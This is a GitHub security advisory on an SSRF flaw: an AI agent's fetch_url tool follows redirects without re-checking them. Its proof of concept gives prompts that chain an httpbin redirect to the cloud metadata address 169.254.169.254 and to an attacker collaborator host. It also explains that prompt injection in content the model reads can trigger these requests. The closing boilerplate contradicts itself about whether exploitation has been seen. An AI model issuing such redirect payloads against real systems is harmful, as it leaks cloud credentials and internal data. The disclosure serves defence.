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GHSA-96ff-gc8g-wpvg
No affected components available
Summary
The fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections.
PoC
Step 1 — Baseline: Confirm fetch_url blocks direct requests to restricted IPs.
Prompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/
Expected: Error — "restricted address (private/loopback/link-local)"
Step 2 — SSRF bypass via redirect: Fetch a public URL that redirects to the restricted IP.
Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/&status_code=302
Expected result: The error message says "connection refused" or "request failed: connect error" — NOT "restricted address." This proves the SSRF filter was bypassed; the connection failed only because 169.254.169.254 is unreachable from a non-cloud machine.
Observed result: fetch_url followed the 302 redirect and attempted to connect to 169.254.169.254. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target.
Step 3 — Redirect to attacker-controlled host: Confirm attacker-controlled redirect targets are followed.
Prompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass&status_code=302
Expected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed.
Impact
On cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting fetch_url to http://169.254.169.254/latest/meta-data/. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call fetch_url with an attacker-controlled URL.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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